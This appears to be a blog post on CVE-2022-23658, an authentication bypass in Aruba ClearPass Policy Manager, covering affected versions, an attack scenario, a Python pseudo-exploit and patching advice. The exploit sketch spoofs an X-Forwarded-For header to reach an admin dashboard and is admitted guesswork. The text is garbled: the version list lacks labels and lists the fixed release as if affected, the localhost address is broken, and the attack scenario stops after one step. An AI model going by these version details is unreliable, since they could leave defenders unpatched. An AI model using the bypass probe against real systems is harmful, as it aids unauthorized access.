CVE-2022-23658 - Remote Authentication Bypass in Aruba ClearPass Policy Manager

In early 2022, a significant security vulnerability was found in Aruba ClearPass Policy Manager—a popular network access and security solution used by many organizations worldwide. The vulnerability, now known as CVE-2022-23658, allows remote attackers to bypass authentication checks and gain unauthorized access to the ClearPass system.

This post provides an in-depth look at the bug, the affected versions, how the exploit works, and steps for mitigation. All explanations use clear and simple language to help you fully understand the threat and response.

What's Aruba ClearPass Policy Manager?

Aruba ClearPass Policy Manager is a widely deployed solution to enforce security policies on devices and users connecting to a corporate network. It's used for guest access, device profiling, and authentication (RADIUS, TACACS+, etc.) in enterprise networks.

Vulnerability Summary

- CVE: CVE-2022-23658

6.7.x and below

6.8.10-HF1 and above

See Aruba's official advisory for details.

Technical Details

The core issue is a flaw in how ClearPass handles authentication requests sent to its web interface. Under specific circumstances, attackers can craft HTTP requests that bypass authentication logic, granting access to ClearPass Policy Manager’s admin resources.

For obvious reasons, Aruba and NIST have not released full code samples or proof-of-concept details, but based on public analysis, the bug involves improper verification of session or authentication tokens.

Possible Attack Scenario

1. Attacker identifies a vulnerable ClearPass Policy Manager on the network (typically on TCP port 443 or 80).

Below is a pseudo-code representation (not real exploit code!) for illustration purposes

import requests

# Replace with target ClearPass server IP or name
target = 'https://clearpass-vuln.example.com';

# The attacker sends an unauthenticated request to a sensitive endpoint
sensitive_endpoint = f"{target}/admin/dashboard"

# Sometimes, modifying headers such as X-Forwarded-For, or cookies, triggers the bypass
headers = {
    'X-Forwarded-For': '127...1',  # Trick ClearPass into believing this is a local request
}

response = requests.get(sensitive_endpoint, headers=headers, verify=False)

if 'Welcome Admin' in response.text:
    print("[+] Authentication bypass successful!")
else:
    print("[-] Exploit failed. Server still secure.")

Disclaimer: This code is only for demonstration and won’t work directly. Real attacks use deeper protocol manipulation and possibly chain other vulnerabilities. Never attempt unauthorized access to any system.

If your version matches or is below any of the versions listed above, your system is likely at risk!

You can find the version in the web interface footer or by checking the /about page.

Mitigation and Patch

Aruba's Fix:

6.8.10-HF1 or above

Get the software from Aruba's support portal and follow the release notes for proper upgrade steps.

Temporary Workarounds (If you can't patch quickly)

- Restrict access to the ClearPass management interface by firewall or trust zone (allow only trusted admins).

Conclusion

CVE-2022-23658 highlights the importance of rapid patching and strict network segmentation, especially for critical infrastructure components like NAC systems. If you use Aruba ClearPass, immediately verify your version and update as recommended. Authentication bypass lets attackers go straight to your network’s crown jewels—don’t give them that chance.

Timeline

Published on: 05/16/2022 20:15:00 UTC
Last modified on: 05/25/2022 16:05:00 UTC

CVE-2022-23658 - Remote Authentication Bypass in Aruba ClearPass Policy Manager – Details, Exploit, and Patches